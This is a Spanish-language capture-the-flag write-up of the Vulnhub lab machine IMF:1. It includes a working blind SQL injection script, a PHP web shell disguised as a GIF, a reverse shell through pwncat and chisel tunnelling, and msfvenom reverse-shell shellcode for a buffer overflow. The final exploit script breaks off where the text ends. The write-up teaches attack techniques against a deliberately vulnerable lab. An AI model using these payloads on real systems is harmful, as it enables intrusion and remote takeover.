Vulnhub: IMF:1 Writeup | Medium

Table of Contents

Vulnhub: IMF:1 Writeup

Welcome to my detailed writeup of the medium difficulty machine “IMF:1” on Vulnhub. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 192.168.18.135 --ulimit 5000 -g
2192.168.18.135 -> [80]
 1nmap -p80 -sCV 192.168.18.135 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 16:25 CET
 3Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
 4Service scan Timing: About 0.00% done
 5Nmap scan report for 192.168.18.135
 6Host is up (0.00034s latency).
 7
 8PORT   STATE SERVICE VERSION
 980/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
10|_http-title: IMF - Homepage
11|_http-server-header: Apache/2.4.18 (Ubuntu)
12
13Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
14Nmap done: 1 IP address (1 host up) scanned in 11.42 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.18.135 -oN allPorts.UDP
 2[sudo] password for kali:
 3Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-27 16:26 CET
 4Nmap scan report for 192.168.18.135
 5Host is up (0.00020s latency).
 6All 1500 scanned ports on 192.168.18.135 are in ignored states.
 7Not shown: 1500 open|filtered udp ports (no-response)
 8MAC Address: 00:0C:29:71:6E:EF (VMware)
 9
10Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

Del escaneo inicial no encontramos nada interesante, solo vemos que existe un servicio web en el puerto 80.

HTTP Enumeration

whatweb no reporta nada fuera de lo común.

1whatweb http://192.168.18.135
2http://192.168.18.135 [200 OK] Apache[2.4.18], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[192.168.18.135], JQuery[1.10.2], Modernizr[2.6.2.min], Script, Title[IMF - Homepage], X-UA-Compatible[IE=edge]

Así se ve el sitio web principal. Write-up Image

En el recurso /contact.php encontramos algunos nombres de usuarios, también encontramos el dominio imf.local, lo vamos a añadir al /etc/hosts Write-up Image

También hay un formulario de contacto el cual no lleva la información a ningún sitio, aún estoy esperando el día donde la intrusión de algún CTF sea a través de un formulario de contacto. Write-up Image

2nd Flag

Weird .js files

Sin embargo, revisando la pestaña de Network en las herramientas del desarrollador en Firefox, me encontré algunos recursos .js con un nombre un tanto extraño. Write-up Image

El contenido de estos archivos no es extraño, pero el nombre de estos archivos parece que está formando una cadena en base64. Juntando los nombres y decodificando en base64 encontramos la segunda flag, parece que me he saltado la primera y parece que van a haber varias flags en este CTF.

1cat content.txt | base64 -d
2flag2{aW1mYWRtaW5pc3RyYXRvcg==}

Finding the 1st flag

Revisando el código fuente, encontramos la primera flag en el recurso /contact.php Write-up Image

Eso fue fácil por ahora.

3rd flag

Igualmente, podemos fijarnos que las flags tienen otra cadena en base64, las cuales si las decodificamos obtenemos lo siguiente.

1echo "YWxsdGhlZmlsZXM=" | base64 -d
2allthefiles% 
1echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 -d
2imfadministrator

Revisando la cadena allthefiles no corresponde a ningún recurso que haya podido encontrar, sin embargo, existe un recurso imfadministator que parece que nos lleva a un panel de autenticación un poco primitivo. Write-up Image

Probando varias credenciales, vemos un mensaje de error que dice Invalid username, esto puede ser útil ya que quizás nos permita enumerar usuarios válidos. Write-up Image

Recordemos que antes hemos enumerado algunos usuarios expuestos en el recurso /contact.php, al probar con estos usuarios vemos que nos reporta un error distinto al probar al usuario rmichaels Write-up Image

En la respuesta del servidor podemos ver un mensaje, nos indica que no pudo conseguir funcionar las consultas a la base de datos por detrás pero que a hard-codeado la contraseña. Write-up Image

PHP Type Juggling

Esto significa que se está haciendo una comparativa directa con la contraseña, pueden existir varios casos donde podamos saltarnos esta comparativa si se cumplen algunos casos como que se utilice el doble operador de comparación en vez de el triple (==) o que se esté utilizando las funciones strcmp()/strcasecmp() Recomiendo leer este artículo de HackTricks

Después de probar, podemos suponer que por detrás existe una comparativa como esta.

1if (strcmp($_POST["pass"],"CONTRASEÑA_REAL") == 0) { echo "Pa dentro mi niño"; } else { echo "Nou nou nou"; }

En este caso, podemos mandar un array vacio en lugar de una cadena de texto, PHP comparará entonces un array vacio con un string, por lo cual retornará un error, es decir, NULL, y en PHP, NULL es igual a 0, por lo cual la comparativa se cumpliría y podríamos saltarnos el panel de autenticación. Write-up Image

Podemos ver la tercera flag, el base64 nos da una pequeña pista, continuar hasta el CMS…

1echo "Y29udGludWVUT2Ntcw==" | base64 -d
2continueTOcms

4th flag

Vemos un botón que nos redirecciona a: cms.php?pagename=home Write-up Image

Un poco raro el parámetro pagename, ahora mas adelante lo exploraremos.

El recurso upload vemos que está bajo construcción y no vemos nada interesante. Write-up Image

Lo mismo para el recurso disavowlist, no podemos encontrar nada. Write-up Image

SQL Injection w/sqlmap

Si ponemos una ' en el parámetro pagename vemos un error SQL, esto es un poco raro. Write-up Image

Entonces podemos deducir que por detrás está ocurriendo una consulta tal que así.

1SELECT * FROM pages WHERE pagename=INPUT;

Si no se realiza ninguna sanitización del input del usuario significaría que esto es vulnerable a una inyección SQL.

Con sqlmap podemos verificar que efectivamente es vulnerable a SQL Injection y podemos enumerar la base de datos.

1sqlmap --level=5 --risk=3 -u "http://imf.local/imfadministrator/cms.php?pagename=*" --cookie="PHPSESSID=3gt7u1sgr34ec45qdvpctjrbn6" --dbs

Write-up Image

Manual Blind SQL Injection (python scripting)

Con esto podríamos continuar con nuestro CTF, pero vamos a hacer una explotación manual ya que llevo bastante tiempo sin hacer un CTF y aquí lo que queremos es calidad.

Con el payload home' or '1'='1 nos devuelve la página home, por lo cual es una consulta válida, por detrás se debe de ver así. Write-up Image

1SELECT * FROM pages WHERE pagename='home' or '1'='1';

Por lo cual es una consulta válida.

Este es el primer paso para la SQLi, ahora, lo que queremos es una consulta válida para poder ir enumerando carácter por carácter las bases de datos.

Como sabemos que el DBMS es MySQL por que nos lo ha confirmado sqlmap, sabemos que existe una tabla llamada information_schema.schemata, esta tabla nos da información sobre las bases de datos.

Entonces una consulta que nos muestra todas las bases de datos sería.

1SELECT schema_name FROM information_schema.schemata;

Ahora bien, adaptándonos al contexto de nuestra SQLi no podemos ver directamente la información, lo que si que podemos hacer es forzar que se cargue una página, por ejemplo, la disavowlist que sabemos que existe en caso de que NO acertemos un carácter de la base de datos que estamos enumerando.

Además, apoyándonos con limit que sirve para limitar el número de resultados, podríamos enumerar todas las bases de datos, un ejemplo de consulta siguiendo esta lógica es la siguiente.

1SELECT * FROM sites where pagename = 'disavowlist' or substring((select schema_name from information_schema.schemata limit 1),1,1)='i'

En resumidas cuentas, esa consulta determina si el primer carácter del nombre de la primera base de datos en information_schema.schemata es igual a i, si esto no es así, carga la primera condición que es que la pagename es igual a disavowlist

Entonces, si el primer carácter no es válido, cargaría la página disavowlist Write-up Image

Sin embargo, si el primer carácter es válido, carga otro recurso. Write-up Image

Ahora bien, si utilizamos limit 0,1, nos mostrará el primer resultado, si utilizamos limit 1,1 nos mostrará el segundo resultado, si utilizamos limit 2,1 nos mostrará el tercer resultado… y así.

Después de un rato de prueba y error, tenemos nuestro script para enumerar las bases de datos listo.

 1#!/usr/bin/python3
 2import requests
 3import string
 4import signal
 5import time
 6from pwn import *
 7
 8BASE_URL = "http://imf.local/imfadministrator/cms.php?pagename=disavowlist' or substring((select schema_name from information_schema.schemata limit <OFFSET>,1),<POSITION>,1)='<REPLACE>"
 9CHECK_VULN_URL = "http://imf.local/imfadministrator/cms.php?pagename=disavowlist%27%20and%20%271%27=%271"
10COOKIES = {
11    'PHPSESSID': '3gt7u1sgr34ec45qdvpctjrbn6' # Replace with your admin phpsessid
12}
13DISAVOW_LENGTH = 450
14
15def def_handler(var1,var2):
16    print("[i] Exiting...")
17    exit(0)
18
19def check_if_vuln():
20    return len(requests.get(CHECK_VULN_URL, cookies=COOKIES).text) == DISAVOW_LENGTH
21
22def sqli():
23    if check_if_vuln() is not True:
24        log.error("Not vulnerable")
25        exit(1)
26
27    log.info("Target is vulnerable")
28
29    charset = string.ascii_lowercase + string.digits + "_"
30    databases = []
31    for offset in range(0,10): # There shouldn't be so many databases, you can tweak this
32        database_name = ""
33        p1 = log.progress(str(offset) + " Database name")
34        for position in range(1,50): # A database name shouldn't have a long name, you can tweak this
35            for char in charset:
36                r = requests.get(BASE_URL.replace("<OFFSET>", str(offset)).replace("<POSITION>", str(position)).replace("<REPLACE>",char), cookies=COOKIES)
37                if len(r.text) != DISAVOW_LENGTH:
38                    database_name += char
39                    p1.status(database_name)
40                    break
41        if database_name == "":
42            log.info("OK")
43            exit(0)
44        databases.append(database_name)
45
46    for dbname in databases:
47        print("[i] " + dbname)
48
49if __name__ == "__main__":
50    signal.signal(signal.SIGINT,def_handler)
51    sqli()

Este es el output.

1python3 sqli.py
2[*] Target is vulnerable
3[▖] 0 Database name: information_schema
4[/] 1 Database name: admin
5[O] 2 Database name: mysql
6[>] 3 Database name: performance_schema
7[o] 4 Database name: sys
8[d] 5 Database name
9[*] OK

Tweaking the script to get the tables

Ahora que tenemos las bases de datos, vamos a modificar un poco el script para enumerar ahora las tablas de la base de datos que nos interesa, en este caso, obviamente nos gusta la base de datos llamada admin.

Lo único que tenemos que modificar es la variable BASE_URL estableciendo la consulta que queremos hacer ahora la cual va a tener los mismos parámetros, el OFFSET, POSITION y REPLACE por lo cual no tenemos que cambiar nada del script.

Para enumerar las tablas de una base de datos, en MySQL existe information_schema.tables, podemos consultar la documentación, podemos ver que la columna table_schema nos reporta el nombre de la base de datos a la que pertenece la tabla, por lo cual podemos igualar esto a admin para poder enumerar utilizando el mismo método (limit y offset) todas las tablas de admin.

Cambiamos BASE_URL

1BASE_URL = "http://imf.local/imfadministrator/cms.php?pagename=disavowlist' or substring((select table_name from information_schema.tables where table_schema = 'admin' limit <OFFSET>,1),<POSITION>,1)='<REPLACE>"

Si lanzamos el script ahora, vemos una única tabla llamada pages.

1python3 sqli.py
2[*] Target is vulnerable
3[↗] 0 Database name: pages
4[◣] 1 Database name
5[*] OK

Tweaking the script to get the columns

Vamos a modificar ahora la BASE_URL pero ahora consultando information_schema.columns para consultar las columnas de esta tabla.

Podemos igualar table_schema a admin y table_name a pages para consultar todas las columnas de admin.pages

1BASE_URL = "http://imf.local/imfadministrator/cms.php?pagename=disavowlist' or substring((select column_name from information_schema.columns where table_schema = 'admin' and table_name = 'pages' limit <OFFSET>,1),<POSITION>,1)=

Vemos las columnas, nos interesa las columnas pagename y pagedata

1python3 sqli.py
2[*] Target is vulnerable
3[.......\] 0 Database name: id
4[ ] 1 Database name: pagename
5[\] 2 Database name: pagedata
6[▆] 3 Database name
7[*] OK

Tweaking the script to get the relevant information

Por lo cual podemos modificar otra vez BASE_URL pero ahora haciendo la consulta directamente a admin.pages para poder recuperar los registros que se encuentren en la base de datos.

1BASE_URL = "http://imf.local/imfadministrator/cms.php?pagename=disavowlist' or substring((select pagename from admin.pages limit <OFFSET>,1),<POSITION>,1)='<REPLACE>"

No nos interesa pagedata ya que resulta que es el contenido del sitio web, por lo cual directamente teniendo el pagename podemos visualizarlo en el navegador.

Si ejecutamos el script, vemos un sitio que no habíamos visto antes, tutorialsincomplete

1python3 sqli.py
2[*] Target is vulnerable
3[↙] 0 Database name: disavowlist
4[▖] 1 Database name: home
5[└] 2 Database name: tutorialsincomplete
6[◥] 3 Database name: upload
7[ ] 4 Database name
8[*] OK

Sin embargo no se nos muestra nada por el navegador. Write-up Image

Esto puede ser porque utilice algún carácter especial, por lo cual vamos a añadir un set de caracteres especiales. Modificamos la variable charset

1charset = string.ascii_lowercase + string.digits + "_" + "~!@$%^*()-=<>?/"

Ahora si lanzamos el script…

1 python3 sqli.py
2[*] Target is vulnerable
3[◑] 0 Database name: disavowlist
4[O] 1 Database name: home
5[├] 2 Database name: tutorials-incomplete
6[....\...] 3 Database name: upload
7[|] 4 Database name
8[*] OK

Ahora si que podemos ver algo diferente, nos damos cuenta de que hay una imagen y un código QR un tanto extraño. Write-up Image

Podemos utilizar qrcodescan.in para escanearlo y vemos la cuarta flag. Write-up Image

5th flag

Si decodificamos la cuarta flag, vemos el posible nombre de un recurso.

1echo "dXBsb2Fkcjk0Mi5waHA=" | base64 -d
2uploadr942.php

Vemos que efectivamente, este recurso existe, y parece que podemos subir un archivo al servidor. Write-up Image

Si intentamos subir un archivo .txt nos reporta que el tipo del archivo no es válido. Write-up Image

Bypassing File Type Check

Creating a script to detect allowed file types

Primero debemos saber que tipos de archivos le gusta al servidor, así que vamos a hacer otro pequeño script para ir subiendo archivos de varios tipos de este repositorio.

Así que primero nos clonamos el repositorio.

1git clone https://github.com/NicolasCARPi/example-files
2Cloning into 'example-files'...
3remote: Enumerating objects: 66, done.
4remote: Counting objects: 100% (20/20), done.
5remote: Compressing objects: 100% (18/18), done.
6remote: Total 66 (delta 4), reused 18 (delta 2), pack-reused 46 (from 1)
7Receiving objects: 100% (66/66), 7.19 MiB | 16.59 MiB/s, done.
8Resolving deltas: 100% (13/13), done.

Y con este simple script podemos comprobar que archivos podemos subir al servidor.

 1#!/usr/bin/python3
 2import requests
 3from os import listdir
 4from os.path import isfile, join
 5
 6UPLOAD_URL = "http://imf.local/imfadministrator/uploadr942.php"
 7SAMPLE_FILES_DIRECTORY = "./example-files"
 8
 9def main():
10    files = [f for f in listdir(SAMPLE_FILES_DIRECTORY) if isfile(join(SAMPLE_FILES_DIRECTORY, f))]
11    for file in files:
12        target_file = open(SAMPLE_FILES_DIRECTORY+"/"+file,"rb")
13        r = requests.post(UPLOAD_URL, files = {"file": target_file})
14        if "Invalid file type" not in r.text:
15            print("[i] Uploaded file: " + file)
16
17if __name__ == "__main__":
18    main()
 1python3 detect_filetypes.py
 2[i] Uploaded file: example.jcamp
 3[i] Uploaded file: example.pdb
 4[i] Uploaded file: example.ppt
 5[i] Uploaded file: example.wav
 6[i] Uploaded file: example.gif
 7[i] Uploaded file: example.avi
 8[i] Uploaded file: example.tif
 9[i] Uploaded file: example.flac
10[i] Uploaded file: example.mnova
11[i] Uploaded file: example.gz
12[i] Uploaded file: example.pdf
13[i] Uploaded file: example.pps
14[i] Uploaded file: example.cif

Ahora bien, mi intención es intentar ejecutar código PHP en el servidor, intenté cambiando los magic numbers subir los primeros 4 archivos sin éxito, hasta que probé a subir un archivo GIF.

Entonces, comprobando los Magic Numbers aquí podemos ver que los magic numbers son los siguientes. Write-up Image

Entonces podemos crear nuestro supuesto archivo GIF que vamos a subir.

 1➜  content cat test.gif
 2───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 3       │ File: test.gif
 4───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
 5   1   │ GIF87a;
 6   2   │ <?php
 7   3   │
 8   4   │     phpinfo();
 9   5   │
10   6   │ ?>
11───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
12➜  content file test.gif
13test.gif: GIF image data, version 87a, 2619 x 16188

Y podemos subir el archivo, ahora bien, ¿donde está subido? Write-up Image

Si inspeccionamos el código fuente, vemos un código, este código resulta que es el nombre del archivo sin la extensión, en este caso, .gif Write-up Image

Haciendo un poco de “guessing”, podemos ver que existe un directorio uploads, esto lo podríamos haber encontrado fuzzeando perfectamente. Write-up Image

Y dentro de este directorio, podemos encontrar el archivo que acabamos de subir, y se está ejecutando el código PHP perfectamente, ahora para poder ganar acceso a la máquina es pan comido. Write-up Image

Obtaining RCE

Ahora nos creamos una pequeña web shell.

1cat -p test.gif
2GIF87a;
3<?php
4
5    echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>";
6
7?>

Y tenemos un problema al intentar subirlo… Write-up Image

Pero probando algunas formas básicas de ejecutar comandos en PHP que encontré en este apartado de HackTricks, encontré que podemos ejecutar comando utilizando las backticks. Write-up Image

1cat -p test.gif
2GIF87a;
3<?php
4
5    echo "<pre>" . `uname -a` . "</pre>";
6
7?>

Y podemos ver el comando ejecutado. Write-up Image

Ahora vamos a hacer un pequeño ajuste a nuestra web shell para poder ejecutar los comandos que mandemos por el parámetro cmd

1cat -p test.gif
2GIF87a;
3<?php
4
5    if (isset($_GET['cmd'])) {
6        $cmd = $_GET['cmd'];
7        echo "<pre>" . `{$cmd}` . "</pre>";
8    }
9?>

Y ahora ya tenemos una webshell funcional. Write-up Image

Ahora ya podemos mandarnos una reverse shell poniéndonos en escucha con pwncat-cs por el puerto 443.

1pwncat-cs -lp 443

Utilizamos el típico one-liner para enviarnos una consola pero URL-Encodeado para evitar conflictos. Write-up Image

Y ganamos acceso a la máquina.

1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ id
2uid=33(www-data) gid=33(www-data) groups=33(www-data)

Podemos ver la flag 5.

1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ cat flag5_abc123def.txt
2flag5{YWdlbnRzZXJ2aWNlcw==}

6th Flag

Finding the explotation path

Decodificando la flag en base64 nos da una pequeña pista.

1echo "YWdlbnRzZXJ2aWNlcw==" | base64 -d
2agentservices

Agentes, servicios…

Si listamos los puertos abiertos en el sistema vemos un puerto 7788 que no sabemos que es.

 1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ netstat -tulnp
 2(Not all processes could be identified, non-owned process info
 3 will not be shown, you would have to be root to see it all.)
 4Active Internet connections (only servers)
 5Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
 6tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
 7tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      -
 8tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
 9tcp6       0      0 :::80                   :::*                    LISTEN      -
10tcp6       0      0 :::22                   :::*                    LISTEN      -
11udp        0      0 0.0.0.0:68              0.0.0.0:*                           -

Si intentamos conectarnos con netcat a este puerto vemos algo extraño, obviamente esto es algo personalizado de la máquina así que tiene pinta de que van por aquí los tiros.

1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ nc 127.0.0.1 7788
2  ___ __  __ ___
3 |_ _|  \/  | __|  Agent
4  | || |\/| | _|   Reporting
5 |___|_|  |_|_|    System
6
7
8Agent ID :

Ahora bien, me interesa saber que binario o que script está gestionando por detrás la conexión a este puerto.

Buscando archivos cuyo nombre contenta agent encontramos un archivo interesante, /usr/local/bin/agent

 1find / -name *agent* 2>/dev/null
 2/usr/local/bin/agent
 3/usr/lib/x86_64-linux-gnu/libpolkit-agent-1.so.0.0.0
 4/usr/lib/x86_64-linux-gnu/libpolkit-agent-1.so.0
 5/usr/lib/policykit-1/polkit-agent-helper-1
 6/usr/src/linux-headers-4.4.0-42/arch/mips/include/asm/sn/agent.h
 7/usr/src/linux-headers-4.4.0-45/arch/mips/include/asm/sn/agent.h
 8/usr/src/linux-headers-4.4.0-31/arch/mips/include/asm/sn/agent.h
 9/usr/share/upstart/sessions/ssh-agent.conf
10/usr/share/doc/libpolkit-agent-1-0
11/usr/share/bash-completion/completions/cfagent
12/usr/share/man/man1/pkttyagent.1.gz
13/usr/share/man/man1/ssh-agent.1.gz
14/usr/share/man/man1/systemd-tty-ask-password-agent.1.gz
15/usr/bin/pkttyagent
16/usr/bin/ssh-agent
17/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.list
18/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.triggers
19/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.md5sums
20/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.symbols
21/var/lib/dpkg/info/libpolkit-agent-1-0:amd64.shlibs
22/var/lib/lxcfs/cgroup/net_cls,net_prio/release_agent
23/var/lib/lxcfs/cgroup/hugetlb/release_agent
24/var/lib/lxcfs/cgroup/devices/release_agent
25/var/lib/lxcfs/cgroup/blkio/release_agent
26/var/lib/lxcfs/cgroup/freezer/release_agent
27/var/lib/lxcfs/cgroup/cpuset/release_agent
28/var/lib/lxcfs/cgroup/cpu,cpuacct/release_agent
29/var/lib/lxcfs/cgroup/memory/release_agent
30/var/lib/lxcfs/cgroup/pids/release_agent
31/var/lib/lxcfs/cgroup/perf_event/release_agent
32/var/lib/lxcfs/cgroup/name=systemd/release_agent
33/var/cache/apt/archives/libpolkit-agent-1-0_0.105-14.1ubuntu0.5_amd64.deb
34/lib/systemd/system/mail-transport-agent.target
35/lib/systemd/systemd-cgroups-agent
36/sys/fs/cgroup/net_cls,net_prio/release_agent
37/sys/fs/cgroup/hugetlb/release_agent
38/sys/fs/cgroup/devices/release_agent
39/sys/fs/cgroup/blkio/release_agent
40/sys/fs/cgroup/freezer/release_agent
41/sys/fs/cgroup/cpuset/release_agent
42/sys/fs/cgroup/cpu,cpuacct/release_agent
43/sys/fs/cgroup/memory/release_agent
44/sys/fs/cgroup/pids/release_agent
45/sys/fs/cgroup/perf_event/release_agent
46/sys/fs/cgroup/systemd/release_agent
47/run/systemd/cgroups-agent
48/bin/systemd-tty-ask-password-agent
49/etc/xinetd.d/agent

Que de hecho, este archivo está en nuestro PATH, por lo cual podemos simplemente ejecutar agent y vemos que este es el binario que estábamos buscando.

1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ agent
2  ___ __  __ ___
3 |_ _|  \/  | __|  Agent
4  | || |\/| | _|   Reporting
5 |___|_|  |_|_|    System
6
7
8Agent ID :

Vemos que este es un binario.

1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ file /usr/local/bin/agent
2/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped

Así que nos vamos a descargar este binario en nuestra máquina víctima utilizando la función download de pwncat-cs

1(local) pwncat$ download /usr/local/bin/agent
2/usr/local/bin/agent ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 11.9/11.9 KB • ? • 0:00:00
3[19:28:57] downloaded 11.90KiB in 0.09 seconds 

Reversing the binary w/ghidra

Bypassing Authentication

Podemos ver que en la variable local_22 se almacena lo que introduce el usuario, en este caso es un tipo de identificador de un agente, para poder autenticarnos lo que introduzca el usuario debe de ser lo mismo almacenado en la variable local_28 Write-up Image

La variable local_28 tiene el siguiente valor: 0x2ddd984 el cual está en hexadecimal.

1python
2Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0] on linux
3Type "help", "copyright", "credits" or "license" for more information.
4>>> print(0x2ddd984)
548093572

Convirtiendolo a decimal, tenemos un número: 48093572, con este ID podemos autenticarnos en el panel.

 1(remote) www-data@imf:/var/www/html/imfadministrator/uploads$ agent
 2  ___ __  __ ___
 3 |_ _|  \/  | __|  Agent
 4  | || |\/| | _|   Reporting
 5 |___|_|  |_|_|    System
 6
 7
 8Agent ID : 48093572
 9Login Validated
10Main Menu:
111. Extraction Points
122. Request Extraction
133. Submit Report
140. Exit

Validating the Buffer Overflow

Analizando la funcionalidad de el binario. La opción número uno reporta información por consola, podemos consultar el código en ghidra y vemos que no hay nada explotable aquí. Write-up Image

La segunda funcionalidad pide un dato al usuario el cual está limitado a 55 caracteres y utiliza fgets para leer hasta 55 caracteres (0x37 en hexadecimal es 55) desde la entrada estándar (stdin) y los almacena en el buffer local_45.

Write-up Image

La tercera funcionalidad pide un dato al usuario el cual está limitado a 164 caracteres pero en ningún momento se hace la comprobación del limite de caracteres por lo cual esto sería vulnerable a Buffer Overflow. Write-up Image

Podemos comprobarlo poniendo muchas A para sobrecargar la pila y ver si nos retorna un Segmentation fault y efectivamente, podemos confirmar que es vulnerable. Write-up Image

Reverse Port Forwarding

Vamos a subir el binario de chisel a la máquina víctima para compartirnos el puerto 7788/TCP.

1(local) pwncat$ upload chisel
2./chisel ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 8.7/8.7 MB • 2.4 MB/s • 0:00:00
3[19:52:58] uploaded 8.65MiB in 3.97 seconds

En nuestra máquina nos ponemos en escucha con chisel por el puerto 1234.

1/usr/share/chisel server --reverse -p 1234
22025/01/27 19:53:44 server: Reverse tunnelling enabled
32025/01/27 19:53:44 server: Fingerprint VQMHWDWpyhPcauXiGId/Q4eKo5lgOy/zSUFcouKW534=
42025/01/27 19:53:44 server: Listening on http://0.0.0.0:1234

Y en la máquina víctima nos conectamos a nuestra máquina de atacante por el puerto 1234 compartiendo el puerto 7788/TCP para que se convierta en el puerto 7788/TCP de nuestra máquina local.

1chmod +x chisel
2./chisel client 192.168.18.132:1234 R:7788:127.0.0.1:7788

Ahora podemos comprobar que todo ha salido bien haciendo un netcat al puerto 7788 en nuestra máquina local.

1nc 127.0.0.1 7788
2  ___ __  __ ___
3 |_ _|  \/  | __|  Agent
4  | || |\/| | _|   Reporting
5 |___|_|  |_|_|    System
6
7
8Agent ID :

Ahora si, podemos continuar con el BoF.

Buffer Overflow (ret2reg)

Primero vamos a comprobar si tiene algún método de seguridad activado y podemos ver que no.

 1gdb-peda$ checksec
 2Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
 3Use 'set logging enabled off'.
 4
 5Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
 6Use 'set logging enabled on'.
 7
 8CANARY    : disabled
 9FORTIFY   : disabled
10NX        : disabled
11PIE       : disabled
12RELRO     : Partial

Vamos a crear un patrón de 400 caracteres para saber cual es el offset para llegar al EIP.

1gdb-peda$ pattern create 400
2'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'

Podemos ver que el EIP se queda en la cadena VAAt Write-up Image

Ahora podemos saber cual es el offset fácilmente y vemos que es 168.

1gdb-peda$ pattern offset $eip
21950433622 found at offset: 168

Ahora sabiendo el offset, podemos hacer un ret2reg, para ello tenemos que buscar una instrucción de llamada al EAX donde vamos a ejecutar nuestro shellcode.

Utilizando ropshell.com podemos ver que alguien ya ha utilizado esta herramienta para encontrar alguna llamada interesante. Write-up Image

Y tenemos justo la llamada a EAX que queremos en esta sección de memoria 0x08048563.

Teniendo la llamada al EAX, vamos a generar nuestro shellcode con msfvenom y a pegarlo en nuestro exploit.

 1msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.18.132 LPORT=443 -b '\x00\x0a' --format py
 2[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
 3[-] No arch selected, selecting arch: x86 from the payload
 4Found 11 compatible encoders
 5Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
 6x86/shikata_ga_nai succeeded with size 95 (iteration=0)
 7x86/shikata_ga_nai chosen with final size 95
 8Payload size: 95 bytes
 9Final size of py file: 479 bytes
10buf =  b""
11buf += b"\xdb\xd8\xbf\xa3\x68\xf1\xca\xd9\x74\x24\xf4\x5d"
12buf += b"\x29\xc9\xb1\x12\x31\x7d\x17\x83\xc5\x04\x03\xde"
13buf += b"\x7b\x13\x3f\x11\xa7\x24\x23\x02\x14\x98\xce\xa6"
14buf += b"\x13\xff\xbf\xc0\xee\x80\x53\x55\x41\xbf\x9e\xe5"
15buf += b"\xe8\xb9\xd9\x8d\x2a\x91\x08\xc9\xc3\xe0\x2c\xd0"
16buf += b"\xa8\x6c\xcd\x62\xa8\x3e\x5f\xd1\x86\xbc\xd6\x34"
17buf += b"\x25\x42\xba\xde\xd8\x6c\x48\x76\x4d\x5c\x81\xe4"
18buf += b"\xe4\x2b\x3e\xba\xa5\xa2\x20\x8a\x41\x78\x22"

Ahora ya tenemos todo lo necesario, simplemente hay que recordar un par de cosas.

AGENT_ID y STEP_TWO_INPUT: Son los valores que el exploit envía en las dos primeras interacciones con el servicio. El primer valor es “48093572” y el segundo es “3”.

OFFSET: Define cuántos bytes necesitas rellenar en el desbordamiento de búfer para llegar a la dirección de retorno. Este valor se determina previamente (mediante ingeniería inversa o pruebas) y es crítico para que el exploit funcione correctamente.

Padding: Esta línea añade relleno al payload (en forma de b"A" repetido) hasta que el total de bytes enviados sea igual al valor de OFFSET. Esto asegura que el shellcode (almacenado en buf) se coloca justo antes de la dirección de retorno en la pila. El relleno ocupa el espacio de memoria que se desborda, lo que sobrescribe la dirección de retorno.

Y por último la dirección de retorno: Aquí se especifica una dirección de memoria (0x08048563) que corresponde a la función o instrucción que queremos ejecutar después de que se realice el desbordamiento. struct.pack(f'<I', 0x08048563) convierte esta dirección en un formato de bytes que se puede enviar a través del socket.

El exploit se queda en esto.

 1#!/usr/bin/python3
 2import socket
 3import struct
 4
 5HOST = "127.0.0.1"
 6PORT = 7788
 7AGENT_ID = b"48093572"
 8STEP_TWO_INPUT = b"3"
 9OFFSET = 168
10
11buf =  b""
